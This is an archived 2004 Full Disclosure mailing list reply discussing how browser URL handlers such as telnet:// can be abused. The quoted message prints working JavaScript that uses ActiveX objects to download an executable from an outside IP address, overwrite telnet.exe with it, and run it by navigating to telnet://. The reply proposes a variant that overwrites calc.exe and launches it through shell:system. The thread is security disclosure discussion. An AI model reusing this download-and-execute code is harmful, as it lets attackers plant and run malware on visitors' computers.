Full Disclosure mailing list archives
RE: telnet URL type used in exploit
From: "KM" <common () mccanless us>
Date: Tue, 20 Jul 2004 15:28:30 -0400
Wouldn't it still work if you used savetopath = c:\\windows\\system32\\calc.exe And then did location.href = "shell:system\calc.exe" Or for that matter just use shell:system\telnet.exe instead of telnet:// -----Original Message----- From: full-disclosure-admin () lists netsys com [mailto:full-disclosure-admin () lists netsys com] On Behalf Of Michael Hale Sent: Tuesday, July 20, 2004 1:39 PM To: full-disclosure () lists netsys com Subject: [Full-disclosure] telnet URL type used in exploit In reply the discussion found at: http://seclists.org/lists/fulldisclosure/2004/Jul/0528.html the consesus seems to be that there are no obvious ways to exploit the mentioned URL types, such as tn3270, telnet, LDAP, rlogin etc. While these may not be exploitable per se, they certainly are when used in conjction with other known exploits. Take the following code for example: var downloadurl="http://213.159.117.133/dl/loadadv74.exe"; if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1) savetopath="C:\\WINDOWS\\system32\\telnet.exe"; if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1) savetopath="C:\\WINNT\\system32\\telnet.exe"; payloadURL = downloadurl; var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET",payloadURL,0); x.Send(); function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t" + "r" + "e" + "a" + "m"; } var s = new ActiveXObject(bla()); s.Mode = 3; s.Type = 1; s.Open(); s.Write(x.responseBody); s.SaveToFile(savetopath,2); location.href = "telnet://"; The JavaScript overwrites telnet.exe with a downloaded executable and then runs it by pointing the browser at telnet://. Instead of launching a telnet shell as expected, the attackers code is executed. This is not only an example of the telnet URL type being involved in an exploit, but one that actually relies on it. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- telnet URL type used in exploit Michael Hale (Jul 20)
- RE: telnet URL type used in exploit KM (Jul 20)
- Re: telnet URL type used in exploit Aditya, ALD [ Aditya Lalit Deshmukh ] (Jul 21)
- Re: telnet URL type used in exploit Darren Reed (Jul 21)
- Re: telnet URL type used in exploit Michael Hale (Jul 20)